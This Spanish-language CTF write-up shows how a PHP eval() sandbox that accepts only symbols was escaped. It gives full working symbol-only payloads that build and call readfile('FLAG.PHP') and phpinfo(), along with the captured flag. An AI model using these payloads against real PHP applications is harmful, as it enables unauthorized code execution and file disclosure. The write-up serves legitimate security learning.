PHP Jail Escaping: Ejecución de código PHP con símbolos

By @dark1t

Este reto web se resolvió durante el pasado FWord CTF. En la descripción del reto se incluyó el código fuente de la aplicación, y un mensaje diciendo que la flag se encontraba en FLAG.PHP, además del link para acceder a la aplicación en línea:


La aplicación del reto mostraba un simple textarea en el que se podía escribir algo y enviarlo y "ejecutarlo"


A modo de prueba, enviando simplemente la palabra "test" mostró el mensaje NOT ALLOWED (no permitido).

Código fuente de la aplicación - jailoo.php

root@kali:~/fword# cat jailoo.php 
<?php 
 if(sizeof($_REQUEST)===2&& sizeof($_POST)===2){
 $cmd=$_POST['cmd'];
 $submit=$_POST['submit'];
 if(isset($cmd)&& isset($submit)){
  if(preg_match_all('/^(\$|\(|\)|\_|\[|\]|\=|\;|\+|\"|\.)*$/', $cmd, $matches)){
   echo "<div class=\"success\">Command executed !</div>";
   eval($cmd);
  }else{
   die("<div class=\"error\">NOT ALLOWED !</div>");
  }
 }else{
  die("<div class=\"error\">NOT ALLOWED !</div>");
 }
 }else if ($_SERVER['REQUEST_METHOD']!="GET"){
  die("<div class=\"error\">NOT ALLOWED !</div>"); 
 }
  ?>root@kali:~/fword# 

Del código anterior se  entendieron los siguientes puntos:
  • La aplicación espera dos parámetros, uno de nombre cmd y otro de nombre submit. Ambos deben ser enviados con método POST 
  • Solo acepta esos dos parámetros: cmd y submit
  • El parámetro cmd solo puede contener los siguientes caracteres (ninguno alfanúmerico): $ ( ) _ [ ] = ; + " .
  • Si se cumple la condición anterior, la aplicación ejecutará el contenido de cmd con la función eval()
  • Si no se cumple la  condición anterior, la aplicación arroja el error "NOT ALLOWED"
  • Si se envían más de dos parámetros en la petición POST, la aplicación arroja el error "NOT ALLOWED"
 La función eval de PHP básicamente lo que hace es evaluar o ejecutar código PHP, por lo cual si un atacante tiene acceso a manipular el contenido que se envía a eval(), éste podría ejecutar código malicioso y lograr tener acceso al sistema.

Sin embargo, dadas las limitantes anteriores, se determina que no será tarea fácil, ya que la aplicación al no aceptar caracteres alfánumericos básicamente está restringiendo la posibilidad de ejecutar hasta un simple phpinfo() por contener letras.

En este punto nos dimos a la tarea de investigar ejecución de PHP con símbolos, y descubrimos que existe un método llamádo "PHP non alphanumeric web shell", con el cual es posible ejecutar código PHP sin caracteres alfánumericos.

El concepto de este método es el siguiente:
  1. Se declara con una variable ($_) un arreglo (Array) con corchetes []
  2. Se declara que esa variable contenga literalmente el string Array.
  3. Se declara una variable no definida (sin contenido) $__. Al hacer esto, $__ es igual a 0
  4. Se utiliza el string Array y el numero 0 de la variable no definida para moverse a través de un "alfabeto" de letras A-Z a-z
  5. Mediante adición (o substracción) se puede cambiar la posición de la letra inicial con el string Array, por lo que si se empieza en la posición 0 = A, 1 = r , 2 = r , 3 = a , etc
  6. Una vez que se escoge la primera letra del alfabeto de la cual partir, se va corriendo la posición para acceder a otras letras A-Z o a-z. Por ejemplo, si se empieza en la variable Array[0], la primera letra sería A, después Array[0]+1 sería la letra B, Array[0]+2 sería la letra C. 
  7. Como lo anterior solo movería el alfabeto a través de letras mayúsculas, para obtener minúsculas se debería empezar desde Array[3] para empezar desde la letra "a" minúscula.
Una vez entendido el funcionamiento del método, procedimos a decidir qué función codificar para leer la bandera. Como la descripción del reto decía que la bandera se encuentra en FLAG.PHP, se decide utilizar la función readfile() de PHP, con la cual se puede leer cualquier archivo del sistema. 

En base a estos dos puntos, se determinó que tendriamos que empezar desde la letra "a" minúscula, formar la palabra "readfile" con el alfabeto y después pasar a la letra "A" mayúscula para formar las palabras "FLAG" y "PHP"

Armando el principio del payload

 Como se comentó anteriormente, el principio del payload debe contener una declaración de un Array, después convertir esto a un string literal "Array" y establecer una variable no definida para que se interprete como el número 0.

php > $_=[];  # Se declara variable $_ como Array []
php > 
php > $_="".$_;  # Se convierte array [] a string "Array"
PHP Notice:  Array to string conversion in php shell code on line 1
php > 
php > echo gettype($_); # Verificando que $_ sea de tipo string y 
string   # que sea igual a "Array"
php > echo $_
 Array

Como siguiente paso, se tiene que declarar una variable que sea igual al número "0" para poder navegar a través del string Array y escoger el inicio del alfabeto "A" o "a".

php > $__;   # Creando la variable $__
php > 
php > echo $__;   # Variable $__ no esta definida (equivale a cero "0")
PHP Notice:  Undefined variable: __ in php shell code on line 1
php > 
php > echo $_[$__];  # Se revisa el valor de Array[0] el cual equivale a "A"
PHP Notice:  Undefined variable: __ in php shell code on line 1
PHP Notice:  String offset cast occurred in php shell code on line 1
A
php > 
php > $__++;   # Se incrementa +1 el valor de $__ y pasa de valer "0" a valer "1" 
PHP Notice:  Undefined variable: __ in php shell code on line 1
php > 
php > echo $_[$__];  # $__ equivale ahora a "1". Moviendo una posicion a la derecha esto equivale a la segunda letra del string Array "r"
r
php >    
php > $__++;   # Se incrementa +1 el valor de $__ y pasa de valer "1" a valer "2" 
php > 
php > echo $_[$__];  # $__ equivale ahora a "2". Moviendo dos posiciones a la derecha esto equivale a la tercera letra del string Array "r"
r
php > 
php > $__++;   # Se incrementa +1 el valor de $__ y pasa de valer "2" a valer "3"
php > 
php > echo $_[$__];  # $__ equivale ahora a "3". Moviendo dos posiciones a la derecha esto equivale a la cuarta letra del string Array "a"
a
php > echo $__;   # Se verifica que $__ equivale a "3"
3

Ya que se tiene el principio del alfabeto usando la variable $_[$__] se puede ir formando palabra por palabra. En este caso tenemos que formar tres palabras: readfile, FLAG y PHP
Cabe aclarar que todas las variables tienen nombre con guiones bajos (_) porque el guión bajo es un caracter aceptado en el filtro de la aplicación.

Formando las palabras

La primera palabra (readfile) se guardará en la variable $____ (4 guiones bajos) y se formó de la siguiente manera:


Se valida en la consola y se observa que la palabra se forma correctamente

php > $_=[];$_="".$_;$__;$__++;$____=$_[$__];$__++;$__++;$___=$_[$__];++$___;++$___;++$___;$____.=++$___;$___=$_[$__];$____.=$___;++$___;++$___;$____.=++$___;++$___;$____.=++$___;++$___;++$___;$____.=++$___;++$___;++$___;$____.=++$___;$___=$_[$__];++$___;++$___;++$___;$____.=++$___;echo $____;
PHP Notice:  Array to string conversion in php shell code on line 1
PHP Notice:  Undefined variable: __ in php shell code on line 1
readfile  # Imprimiendo la variable $____ muestra que equivale a string "readfile"
php > 

El mismo proceso se realiza para las palabras FLAG y PHP. El payload resultó de la siguiente manera. Si se ejecuta en la consola interactiva de PHP se observa que el código se ejecuta correctamente e intenta leer el archivo FLAG.PHP que no existe.

root@kali:~# php -a
Interactive mode enabled

php > $_=[];$_="".$_;$__;$__++;$____=$_[$__];$__++;$__++;$___=$_[$__];++$___;++$___;++$___;$____.=++$___;$___=$_[$__];$____.=$___;++$___;++$___;$____.=++$___;++$___;$____.=++$___;++$___;++$___;$____.=++$___;++$___;++$___;$____.=++$___;$___=$_[$__];++$___;++$___;++$___;$____.=++$___;$___=$_[$__];++$___;++$___;++$___;++$___;$_____;$___=$_[$_____];++$___;++$___;++$___;++$___;$______.=++$___;++$___;++$___;++$___;++$___;++$___;$______.=++$___;$___=$_[$_____];$______.=$___;++$___;++$___;++$___;++$___;++$___;$______.=++$___;$_______=++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;$________=++$___.$_______.$___;$____("$______.$________");
PHP Notice:  Array to string conversion in php shell code on line 1
PHP Notice:  Undefined variable: __ in php shell code on line 1
PHP Notice:  Undefined variable: _____ in php shell code on line 1
PHP Notice:  String offset cast occurred in php shell code on line 1
PHP Notice:  Undefined variable: ______ in php shell code on line 1
PHP Notice:  Undefined variable: _____ in php shell code on line 1
PHP Notice:  String offset cast occurred in php shell code on line 1
PHP Warning:  readfile(FLAG.PHP): failed to open stream: No such file or directory in php shell code on line 1
php > 

La función codificada al final del payload significa lo siguiente:

Obteniendo la flag

Ya que se validó localmente el payload, se codifica a formato URL y se envía como request en el textarea de la aplicación para obtener el contenido de FLAG.PHP

 
 Flag: FwordCTF{Fr0m_3very_m0unta1ns1d3_l3t_fr33d0m_r1ng_MLK}

Bonus - Ejecutando phpinfo()

Se codificó también la función phpinfo() y la aplicación nos dio mucha información importante

$_=[];$_="".$_;$__;$__++;$__++;$__++;$____=$_[$__];++$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;$___=$_[$__];++$___;++$___;++$___;++$___;++$___;++$___;$____.=++$___;$___=$_[$__];++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;$____.=++$___;$___=$_[$__];++$___;++$___;++$___;++$___;++$___;++$___;++$___;$____.=++$___;++$___;++$___;++$___;++$___;$____.=++$___;$___=$_[$__];++$___;++$___;++$___;++$___;$____.=++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;$____.=++$___;$____();

Go Mayas!

Referencias



Comentarios